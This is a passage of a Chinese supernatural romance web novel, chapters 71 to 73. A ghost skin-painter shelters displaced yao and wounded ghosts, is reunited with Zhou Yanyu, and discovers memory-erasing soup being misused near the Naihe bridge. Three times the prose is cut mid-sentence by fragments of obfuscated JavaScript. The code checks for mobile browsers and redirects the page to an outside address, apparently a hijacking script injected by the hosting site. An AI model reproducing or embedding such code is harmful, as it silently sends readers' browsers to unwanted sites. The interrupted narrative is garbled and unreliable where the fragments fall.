他配合周玄玉出面作证后,就回来了。 “你一个人吗?”百灵抬头向他身后望了望。 “还应该有其他人吗?”卫影反问。 “周延玉呢?”百灵直接道,“他没和你一起回来吗?” “他为什么会和我一起回来?”卫影面露不解。 百灵心下一凉,看来他们没有碰面。 “出什么事了?”卫影见她神色不对,追问道。 “周延玉也回去了,我以为你们会见到的。” “他回去了?”卫影震惊,有些心虚道,“他回去干嘛?” 事到如今,百灵也不打算再有所隐瞒。 她如实告诉卫影,周延玉其实早就知道自己的妖丹被他拿走了。 “他不是去找你兴师问罪的。”百灵替周延玉解释道,“他其实心理也觉得对不起你,想跟你把话说清楚。” 卫影目光躲闪,一时无言。 “我很担心,他如果遇见周玄玉,会不会有危险?” “他们毕竟是兄弟,玄玉哥不会害他的。” “在利益面前,血缘关系根本不算什么。”百灵摇了摇头,“我们发现了他和叶知舟之间的阴谋,他不会轻易放过他的。” “什么阴谋?” 百灵叹息一声,将无忧阁和鬼魂被夺舍的事情一一托出。 “有没有可能只是巧合,或者只是叶知舟一个人的主意?” 卫影难以相信。 “不可能。”百灵一针见血,“你只需要想一想,发生这些事情,最后的受益人是谁?难不成是周延玉吗?还是叶知舟呢?” 不是他们那就只有一种可能,是周玄玉。 卫影陷入了沉思。 “昨天我刚才边界带回来了一只没处去的妖怪。”百灵继续补充,“周玄玉现在作为君主,真的有心的话,就应该低下头来看一看,这些妖怪过的都是什么样的生活?” 为了更好说服卫影,百灵又把耶耶的故事和他说了一遍。 “也许这只是个例。”卫影无力的辩解道。 “这怎么可能只是个例。”百灵无奈,“只是你没有这种困境而已,投胎转世的机会你不稀罕,底下有的是想要的,我们鬼也一样,你不知道为了抢这个东西可以付出多大的代价。” “所以你觉得。”卫影剑走偏峰,“是我们抢了你们的东西吗?” “我从来没这么想也没这么说过。”百灵叹了口气,“明明大家都不容易,却要把彼此当成是假想敌。” 卫影垂下头,不说话了,他说不过百灵。 “我如果真的这么想,是不会收留那个妖怪还答应给他画皮的,如果在你心里我百灵是那样的人,那我无话可说。” “对不起。”卫影怏怏道,“我误会你了。” “没事,我理解你。”百灵宽慰道,“也许周玄玉对你比周延玉更信任,但那不过是为了利用你,不然他早就把实情都告诉你了。” “……我知道。”卫影悲伤道,“他也没多信任我。” “因为你和他不一样,你们不是一路人。我相信你绝对不会为了自己的利益,去走歪门邪道。” 听百灵这样说,卫影有些释怀了。 他确实一直身处高位,但却看不清现状,没想过一个投胎名额能闹出这么大的事。 他原先也并不理解周延玉的坚持和不肯退让,觉得那是他不懂得变通,让事情没有转圜的余地。 甚至有那么一刻,他在心里认可了周玄玉作为王上。 “延玉回去肯定会威胁到他的王位。”百灵又不禁担心道,“你说他会不会出事?” “君上敢回去找他,就说明他心里有数,你别太担心了。” 尽管卫影如此安慰,百灵心中仍惴惴不安。 一种隐约的预感告诉她:周延玉或许回不来了。 …… “求求你,帮帮我们吧。” 百灵在忐忑不安的状态中一天天等待着周延玉,但烦心事一件接着一件朝她涌来。 自从她帮耶耶修复好身体后,耶耶真的如他所言,带来了一大批和他有相同经历的同类。 原本他们对于百灵这个异类并不信任,但看见卫影在她身边,纷纷放下了戒备心。 他们愿意献出自己的妖丹来让百灵修复身体。 可是百灵却骑虎难下了。 一下子修补这么多身体,她目前的材料根本不够。 她也没有那么多的钱来买。 可是话已经放出去了,百灵也不能把上门的妖都赶走。 所以只能暂时将他们收留下来。 榴月和白夭夭都仗义出手,可她们给的钱根本不够,百灵也不好意思收她们的辛苦钱。 屋漏偏逢连夜雨。随着收留的妖怪越来越多,百灵的名声渐渐传开,一些曾被妖怪夺舍不成、导致身体残缺的鬼魂也寻上门来。 材料问题尚未解决,这两批人倒先在店里对峙起来。 妖怪与妖怪抱团,鬼魂与鬼魂成群,彼此怒目相视,言辞激烈,都要求对方离开。 “凭什么要我们走?这冥界本就是我们先来的!” “你们这些妖物夺人身体、害人魂魄,还有脸在此叫嚣?” “那是他们做的,与我们何干?我们也是被迫害的!” “谁知道你们是不是一伙的!” 场面愈演愈烈,推搡之间,一只缺了半边胳膊的鬼魂猛地撞翻了货架,瓶罐碎裂声刺耳响起。 妖怪中一个少年模样的妖红着眼就要扑上去,被身旁同伴死死拉住。 眼看一场混战即将爆发,百灵带着卫影匆匆赶到,厉声喝止: “都住手!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259709|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她推开人群,站到双方中间,素日温和的面容此刻肃然如霜:“从今日起,谁敢在我的店里闹事,不管你是妖是鬼,一律给我滚出去!” 店内霎时一静,但仍有人低声嘟囔:“凭什么听你的……” “就凭这是我的地方。” 百灵目光扫过一张张或愤怒或委屈的脸,语气稍缓:“我理解你们的怨气,鬼魂们受过妖怪的伤害所以讨厌他们,而妖怪们被当成替罪羊心中自然很不满。” 她转向鬼魂那边,声音清晰: “可你们仔细看看,在场的这些妖怪,他们的妖丹都在我手里,我以画皮师之名担保,他们未曾害过你们,没必要将怒火发泄在无辜者身上。” 她又看向妖怪们,语气转沉:“你们也是,是你们闯入到我们生活的地方,非但不感恩我们的接纳,反倒想把原主人赶出去,这算什么道理。” 一位头发花白、脸上带疤的老鬼颤巍巍开口:“百灵姑娘,不是我们不信你,可我一辈子攒的钱,就为了投个好胎,却差点被一只妖夺了身体,你叫我怎么不恨?” 妖怪中一个瘦削青年忍不住站出来,眼眶发红:“我们又何尝愿意流落至此?没了妖丹,身体残缺,在妖界被打,在冥界被唾骂,我们只是想活下去,又有什么错?” 百灵静默片刻,看向众人,声音不高,却字字清晰: “我是个画皮师,自幼便立志以手艺助人。今日我愿信你们,也请你们信我,彼此争斗,只会让真正的恶人得利。若你们还想在这里寻一条活路,就放下成见,否则,门就在那里,请自便。” 店内寂静良久。 鬼魂中有人别过脸去,妖怪们彼此对视,最终都慢慢松开了攥紧的拳头。 卫影默默站到百灵身侧,榴月悄悄扶正了倾倒的货架。 风波暂息,可百灵知道,真正的难题,才刚刚开始。 钱的事才是难题。 “灵姐,不如我去求叶知舟借我点钱。”白夭夭提议道。 “不行,开什么玩笑。”百灵想也不行拒绝了,“找他不去如小五呢。” “那我去找小五?”白夭夭顺势而下。 “也不行。”百灵正色道,“谁都不行。” 百灵不希望白夭夭因为自己和他们再扯上关系。 自从那天白夭夭见过所谓的小五回来后,她一直不肯告诉自己发生了什么事。 她只说这是最后一次见他了。 百灵觉得他们应该是说开了,也许最后一次见面算好聚好散,给他们的缘分也划上一个完美的结尾。 “那怎么办?”白夭夭焦虑道,“店铺刚开门,还没赚钱,就要先亏钱了。” “你放心,钱的事我会想到办法解决的。”百灵心中有愧,“妖怪们暂时没钱,我可以先向鬼收一些,至少能缓解一点。” “希望他们不要忘恩负义。”白夭夭道,“事成之后该还钱的还钱,别辜负我们一片好心。” “我们也没做什么,力所能及吧。”百灵叹息一声。 她之所以选择帮助他们,除了自己想帮忙,还希望能帮周延玉减轻负担,他生死未卜,而她能做的,只有这些。 72. 第 72 章 辗转反侧了一整夜,百灵终于做出了一个艰难的决定。 她打算卖掉宋清河送给她的那只玲珑瓷碗,以解眼下的燃眉之急。 她知道这样做不妥,可实在是走投无路了。 “等日后宽裕了,一定再把它赎回来。”她在心里反复这样告诉自己,仿佛能借此减轻几分愧疚。 将玲珑瓷捧到典当铺柜台时,百灵的手指仍忍不住轻轻摩挲着温润的釉面,眼中尽是不舍。 “姑娘,确定要当这件?”掌柜的接过瓷碗,对着光仔细端详。 “是……有什么问题吗?” “东西是好东西,胎薄釉亮,是上等的玲珑瓷。”掌柜说着,将碗底转向她,“不过这底下刻了个字,是特意定制的吧?” “字?”百灵一怔,接过碗仰首细看,碗底中央,果然刻着一个清秀的“灵”字。 她心口蓦地一颤,这瓷碗她不知端详过多少次,却从未留意碗底竟藏着她的名字。 这是巧合吗? “这刻字可讲究。”掌柜的在一旁慢悠悠道,“玲珑瓷胎薄,刻字极易损毁坯体,能刻得这般清晰又不伤器形,非得是老师傅潜心静气才能成。” 他打量一眼百灵,知道她不可能是这个碗的原始主人,因而问道:“是赠碗之人名字里有个灵吗?” 百灵怔了怔,摇头:“不是。” 掌柜若有所思地点头,将碗小心放回绒布上:“那大抵是取个吉祥寓意了,‘灵’字本身也有灵秀、聪慧之意。” 百灵跟着点了点头,目光却仍胶着在那个字上。 一个念头隐隐浮起,她忍不住轻声追问:“掌柜的,若是器物上特意刻了某人的名字,通常代表什么呢?” 掌柜抬眼看了看她,语气温和了些:“若是特意单刻一字,多半是心中极重要之人。譬如父母为孩童订制,刻其乳名,或是夫妻、挚友之间相赠,将对方的名字藏于朝夕相处的物件上睹物思人,见字如面。” “……是。”百灵立刻应声,像要说服自己一般,“是吉祥话才对。” 走出当铺,百灵思绪翻飞。 在宋清河心中,她有这么重要吗? 于她而言,宋清河是朋友,但更多时候,因为身份限制,百灵总觉得和她之间距离感更多。 总之没到要将对方名字刻在碗底的程度。 她突然又想起来了一件关于宋清河的事。 第二场画皮比试时,叶知舟是准备为她打造一场梦中的婚礼的,但中间出了岔子,最终应该没有如愿。 宋清河的反应也很奇怪,似乎一点不想提起这件事。 如果没有出现差错,如果一切按原计划完成。 那本该和宋清河成婚的人是自己才对…… 想到这,百灵心头猛然一紧。 难不成宋清河一直,一直对她…… 原来有些心意,藏得这样深。 宋清河大抵是早就察觉到了自己没有那方面的意思,所以通过这种隐晦的方式表达。 百灵忽然为宋清河感到难过,陪在一个注定不可能有结果的人身边,该多么揪心呢。 同时她也感谢宋清河没有向她坦白自己的心意,因为她肯定不知道该怎么去面对。 虽然她无法回应宋清河这份心意,但还是深受感动。 因为宋清河又一次在危难之中帮助了她。 …… 回到店铺,榴月急匆匆迎了上来,将一封信递给百灵。 “我的信吗?”百灵想不到谁会在这个时候给她来信。 “嗯。”榴月道,“客栈那里拿来的。” 她立刻打开一看,是宋清河。 “百灵,见字如面,寒暄的话我不多说了,家里这边有很重要的事,不得不来信告知。” “最近我家和叶知舟达成合作,将冥婚用的纸扎人换成他自家画皮坊的假人,但我发现这些假人很不对劲,有点像之前被妖怪附身过的鬼魂,有意识但却没反应。” “我想阻止交易,但家人不听,认为是我在胡思乱想,你在幽都,和叶知舟更近,能否替我打听一二?” 看完信,百灵内心久久无法安宁。 她相信宋清河,这不是她的错觉,是真的。 之前她就想过夺舍失败后的鬼魂该怎么办,怎么继续生活,没想到叶知舟竟然为了掩盖自己的罪行把他们当成是残次品替换了纸扎人。 她不敢想象,到底还有多少这样的受害者。 情况远比她想的要糟糕。 她也体会到了什么叫有心无力,就算真的回信证实了宋清河的想法,问题也没法得到解决。 收留这些妖怪和鬼魂就已经让她心力交瘁了。 她迫切希望周延玉能出现在自己的身边,和她一起商量想办法。 可是她除了周延玉那具不会说话的身体,其他什么也没有。 百灵忽然很想和那具身体待一会儿,假装他还在身旁,暂得一丝慰藉。 她走向存放周延玉身躯的仓库,推开门的那一刻,呼吸几乎骤停。 里面空空如也。 周延玉的身体消失了。 百灵怔在原地,许久才强迫自己接受这可怕的现实。 随之而来的是源源不断的恐惧。 周延玉的灵魂已经不在了,现在连身体也没了。 是周玄玉吗?是他想让对自己有威胁的弟弟彻底消失吗? 她从来没有这么痛苦过,连呼吸都很艰难。 明明说好了的,要回来的,要亲耳听到她说出自己的答案。 百灵无比后悔,自己为什么没有大方说出自己的心意,说她想要他回来,说自己舍不得他离开。 不行,她一定要找回来,哪怕只有一个身体。 百灵抹去眼角的泪水,振作精神,坚定脚步,向乱葬岗的方向走去。 既然结界处有松动,其他妖怪能进,她也可能过去。 周延玉记得她的味道,会认出她的。 不管是死是活,她都要见到周延玉。 …… 在安全穿过结界,发现自己依旧安然无恙的周延玉,无比庆幸。 但他知道,一把刀始终悬在他的头上。 也许周玄玉不是心软放过他了,而是还没有发现他不在了。 为了能够争取时间,他把身体就在了眼界,自己灵魂离体逃走了。 现在的周延玉又失去了身体,就像他第一次来到冥界一样。 只是这次,他没有遇见百灵。 乱葬岗也还是一如从前。 结界处的松动并非偶然,虽然周玄玉不承认,但他知道,没有他的默许,这些妖怪根本过不去。 他在附近默默徘徊,观察着那些试图假扮成鬼魂的妖怪。 “听说幽都有个叫百灵的画皮师,可以帮我们搞个身体,一起去看看如何?” “真的假的,有这种好事?” “去看看又不会怎样,万一是真的呢?我听说好多妖怪都去了呢?” 两个骷髅你一句我一句,最后骨头挽着骨头走了。 周延玉立刻选择跟上他们。 他不在的这些日子里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264358|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百灵在帮助这些妖怪吗? 周延玉既感动又愧疚。 没跟几步,他忽视闻到熟悉的气息。 “卫影?” 他幻视一周,最后在自己刚进来的落脚点发现了卫影。 他马上调转方向回头。 在卫影的身边,还有他的身体。 周延玉二话不说,和自己的身体融合了。 卫影也感应到身体的变化,试探性唤了一声:“君上?” “是我。”周延玉缓缓睁开双眼,“我回来了。” 卫影原本憋了很多话想说,可最后到了嘴边只笨拙说了句:“对不起。” “这话应该我和你说。”周延玉动容,上前拍拍他的肩膀,“是我冷落了你。” 两人相顾无言,误会和心结在沉默中逐渐消融。 “是百灵让你把我的身体拿出来吗?”周延玉问道,“她人呢,还好吗?” “不是的,她不知道。”卫影道,“我想把身体拿过来给你用,百灵太忙了,我不想让她担心,所以我就自作主张……” 知道卫影是在替他着想,周延玉也不好指责他。 “那你回去记得告诉她,别让她着急了。” “你可以自己和她说,她也想见你。” “我只是来边界处看一看,还得回去的。”周延玉无奈苦笑,“周玄玉不让我走。” “他是不是拿妖丹威胁你。” 周延玉愣了,他本不想提及此事,因为毕竟妖丹是卫影拿走的。 没等他回应,卫影从怀里掏出一枚琥珀色的石头,正是周延玉的妖丹。 “给他的是假的,真的在我这里。”卫影说话时都多了几分底气。 周延玉神色复杂接过。 他就知道,卫影不会那样对他的。 “谢谢你,卫影。”周延玉发自内心道。 “这是我应该做的。”卫影道,“回去吧,百灵这些天不太好过。” 周延玉鼻头一酸,他何尝不想见到百灵呢? 周玄玉胁迫他时,他是真的觉得自己可能再也看不见百灵了。 二人并肩而行。走着走着,周延玉忽然再度嗅到那一缕独特的气息。 是他太过思念而生出幻觉了吗?百灵怎会在此? 他步履不停,那气息却萦绕不散。 周延玉蓦然驻足,转身朝某个方向疾奔而去。 “百灵!” 真的是她!可她怎么站在了结界处,她想做什么? 就在百灵伸手向前试探的刹那,周延玉飞身上前,一把将她揽回。 情急之下力道未控,两人双双跌倒在地。 百灵摔在周延玉身上,虽未受伤,却被这突如其来的牵扯惊得怔住。 她回过头,对上周延玉深深的目光。 原来那声喊叫不是错觉,真的是他…… 周延玉扶她起身,二人相对而立。 百灵心中委屈翻涌,抬手便朝他肩头捶了一下。 周延玉不闪不避,任由她发泄。 一下,两下,三下……她的动作渐渐慢了下来,想说什么,喉间却泛起哽咽。 周延玉伸出手,将她紧紧拥入怀中。 “对不起,”他声音低哑,“我来晚了。” “你把我吓死了知不知道?”百灵不再遮掩情绪,委屈道,“我以为再也见不到你了……” “不会了。”周延玉将她搂得更紧,一字一句道,“我再不会随意离开。我发誓。” 追上来的卫影见此情形,自觉退开,在一旁默默等待。 73. 第 73 章 回到店铺的三人开始商量下一步该怎么做。 “事到如今,只能试试去找他了。”周延玉有些不情愿道。 “找谁?”百灵问。 “冥王。”周延玉道,“光靠我们的力量是不够的。” “可是玄玉哥说,叶知舟是冥王的人,会不会找到了也没什么用?”卫影提出异议。 “这恐怕不可能,我和冥王有过几次照面,那个人生性傲慢,不太可能由着叶知舟和周玄玉乱来。” “确实不可能。”百灵也附和道,“叶知舟冒充的是妖怪的身份,冥王至少要选择可相信的同类。” 这个惊天秘密,自然是白夭夭告诉她的。 “这个叶知舟,看来是想两头通吃。”卫影感慨。 “冥王出手,或许能制止他们。”周延玉又将话题绕了回去。 “要怎么样才能见到冥王?”百灵道。 “在奈何桥的尽头,再越过忘川河。”周延玉说完开始分工道,“卫影你随我去吧,百灵你留下。” “不行,我要去。”百灵拒绝了,“卫影你得留下,我怕那些妖怪们又不安生,我压不住他们。” 说完她又补充道:“还是我去见冥王比较好,我感觉,他可能不会太信任你们,有个同类在他也许会更好说话。” 卫影思考片刻,点头同意了。 既如此,周延玉也不敢多说,默认和百灵一起出发。 “你为什么不带我?” 出发前,百灵特意趁卫影不在的功夫,问周延玉。 “没什么,我就是想着这里还有铺子需要你来打理。” “就因为这个吗?”百灵不信。 周延玉不说话了。 百灵知道周延玉有所隐瞒,严肃追问道:“到底是因为什么?” “那里很危险。”周延玉无奈道出实情,“有一头凶兽。” “所以你是担心我会受伤吗?” “嗯。” “你应该担心担心自己。”百灵道,“我是不会死的,顶多身体被破坏。” “可那里还有忘川河,我听说只要掉进去的鬼,都会……” “不会的。”百灵打断他,“我们寻常鬼掉进忘川河里是不会有事的,除非是已经喝了孟婆汤的鬼,忘掉了一切,掉进忘川河中会自动步入轮回。” 解释完,百灵忽视意识到有什么不对劲的地方。 孟婆水,忘掉一切? “无忧阁的忘情水……”显然,周延玉和她想到了一处去。 百灵不可置信:“叶知舟是怎么可能得到孟婆水这种东西的?” 而且以无忧阁的体量,一天都用掉多少孟婆水。 “也许等我们见到冥王,一切自会有答案了。”兹事体大,周延玉相信如果叶知舟用的真的是孟婆水,冥王不可能不知道。 叶知舟倘若真的只手遮天到如此地步,说他是第二个冥王也不为过。 事态复杂,周延玉带着百灵以最快的速度在傍晚赶到了奈何桥边。 鬼差们例行公事,身后跟着一群等待投胎转世的鬼魂。 许多要准备投胎转世的鬼魂脸上没有即将重生的欣喜,反而是一脸的麻木。 “他们怎么回事,是已经喝过孟婆水了吗?”百灵疑惑。 “奈何桥附近有个过渡的地带,更多等待投胎的鬼都在那里,我们去看看。” 百灵点头,和周延玉一起,前往过渡地带。 与其说过渡地带,不如说是一座村庄。 可想而知,里面的人是等了多久。 在里面,百灵又看见了许多满脸麻木的人。 周延玉回溯后发现他们确实都没有了记忆。 “不可能啊。”百灵道,“还没到喝孟婆汤的时候,他们怎么就全忘了。” “无忧阁。”周延玉道,“他们身上都有相同的气味,和无忧阁一模一样。” 百灵内心沉重,看来叶知舟的忘情水真的就是孟婆汤。 走着走着,她又发现几个面色正常的鬼魂,她立刻上前询问。 “你好,我是新进来的鬼,请问我们什么时候可以投胎转世啊?” 那只鬼抬起眼皮懒懒扫了她一眼,然后又看看不远处一只麻木的鬼:“喏,像他们一样,就可以马上投胎了,不然就是等,等到天荒地老去。” “请问你在这等多久了。”百灵不死心,追问道,“为什么是他们先?” “他们提前喝了孟婆水,随便往忘川河一投便是,不想我们更麻烦。”那只鬼虽不耐烦,还是把百灵当成懵懂的鬼魂,回答了她的问题。 “我们为什么更麻烦?”百灵打破砂锅问到底。 “我问你,你是想变成人还是畜生?” “当然是人。” “那不就对了,他们提前喝了孟婆水好忽悠,而且他们没交钱不像我们通过层层申请才进来的,他们随便怎么搞都行,丢下去大概率变成个畜生。” 百灵震惊了,再一次刷新了对于叶知舟无耻的认知。 原来无忧阁不仅为了方便妖怪夺舍,还要把那些忘掉所有记忆的鬼怪随便丢弃,像宋清河家的假人一样。 留下一脸震惊的百灵,那只鬼一副见怪不怪的样子,转身离开了。 “百姑娘?”一个苍老的声音从百灵身后传来。 百灵回过神,发现叫她的人竟然是王婶。 “好孩子。”王婶走到百灵跟前,彻底认清了她,“你也来了。” 见王婶神志清醒,百灵不由得松了一口气,看来她还没喝过忘情水。 “王婶,你来这多久了?他们什么时候给你安排投胎?” 虽然希望渺茫,但百灵想,王婶好歹是老人,会不会优先给她安排。 “快了快了。”王婶乐呵呵笑道,“他们说过两天就带我去。” 百灵心下一惊,怎么会这么快?一个说天荒地老一个说过两天,未免太反常了。 “王婶。”百灵小心翼翼道,“你还记得二铁哥吗?” 闻言,王婶皱起眉头,摇了摇头道:“那是谁啊?你的朋友吗?” 百灵才缓过来的心神又被打击到,她颤巍巍后退一步,差点没站稳,幸亏周延玉及时在旁边扶住她。 王婶也喝了,只是量还不多。 见她还在想,百灵故作镇定道:“对,是我朋友,他之前也说要来投胎,我就想着你有没有可能见过他。” “那我记性不大好,就算见过可能也不知道了。” “王婶,你答应我一件事好不好。”百灵于心不忍,上前抓住她的手,“无论他们给你喝什么东西,你都千万不要喝,好吗?” 王婶顿了顿,慢悠悠道:“水也不能喝呀?” “就是水,水更不能喝!”百灵焦急道,“你可以找别的水喝,就是不要喝那些说要带你去投胎的人的水,明白吗?” “为什么呀,我觉得他们人还怪好的。”王婶不解,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269427|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一个老人家孤零零的,就他们还来陪我说说话。” “……”百灵有苦说不出。 她很犹豫,不知道这种时候对于王婶来说,是要告诉她残忍的真相,还是让她继续享受虚假的温暖。 “王婶。”一旁的周延玉开口了,“不是不让你喝他们的水,是老人家喝多了水不好,希望你少喝一些。” “这些啊。”王婶似懂非懂点点头,“那我知道了。” 百灵还想说些什么,却被周延玉强硬拉开带走了。 走到一个无人的角落,百灵忍不住伤心落下了泪。 周延玉轻轻伸手,擦去她的泪水。 “你已经尽力了。”他柔声安慰道。 百灵摇摇头,哭得更难受。 周延玉轻轻抱住她,上下抚摸她的背:“哭吧,哭出来就好了。” 不知过了多久,百灵终于冷静下来,在周延玉怀里一抽一抽的。 周延玉用袖子擦干她脸上的泪痕,心疼摸了摸她红肿的眼睛。 “哭完了?”周延玉哄道,“要不要听一个好消息?” “嗯。”百灵点了点头。 “刚才我回溯了王婶,发现她有接触一个你认识的人。”周延玉卖了个关子。 百灵抬眼看他,示意他继续说下去。 “那个人叫百会。” 百灵的心再度泛起波澜。 是姐姐。 她不知还高兴还是担心。 过了这么久,姐姐竟然都没有投胎成功吗? 她会不会也和王婶一样,不知不觉被哄骗喝下忘情水呢? “她很好。”周延玉看出她的顾虑,又道,“还能经常照顾王婶,你放心。” “我想见见她。”百灵仍旧不安心,“远远看她一眼就行。” “好,我们去找她。” 找到百会比百灵想象中更快,他们顺着王婶离开的方向一路走,最后在一个街角发现了正在为一只鬼画皮的百会。 百灵鼻头一酸,感觉自己又要哭了。 她其实可以选择和姐姐再见的,只是她有些不敢面对。 当初姐姐要离开自己准备投胎转世的时候,百灵不愿面对这个问题,一直托词自己很忙碌,到最后姐姐都没有和她有个好好告别。 百灵觉得自己很对不起姐姐。 他们在一旁目睹百会给那只鬼画完全程,眼看她就要离开。 “去吧。”周延玉看出百灵蠢蠢欲动,随即鼓励道。 百灵心提到了嗓子眼,在原地纠结该不该去。 “百会姑娘!”周延玉直接叫住了百会。 百会应声回头,发现了周延玉。 百灵被这突如其来一下子吓得躲到了周延玉背后。 “我认识你吗?”百会一脸迷茫看着周延玉。 “你不认识我。”周延玉说着把身后的百灵揪出来,“但你认识她。” “百灵?”百会很是惊讶,“你怎么也来了?” “我们不是来投胎的。”周延玉替百灵答道,“只是路过这里,好奇想来看看。” “你疯了吧?”百会气道,“这是什么好玩的地方吗?万一被发现了?” “不会的姐姐。”百灵终于张口,“我们心里有数,知道自己在干什么。” 百会迟疑了,她不知道妹妹口中的有数和她想的一不一样。 “总而言之,你们赶紧离开,这不是久留的地方。”百会狠心道。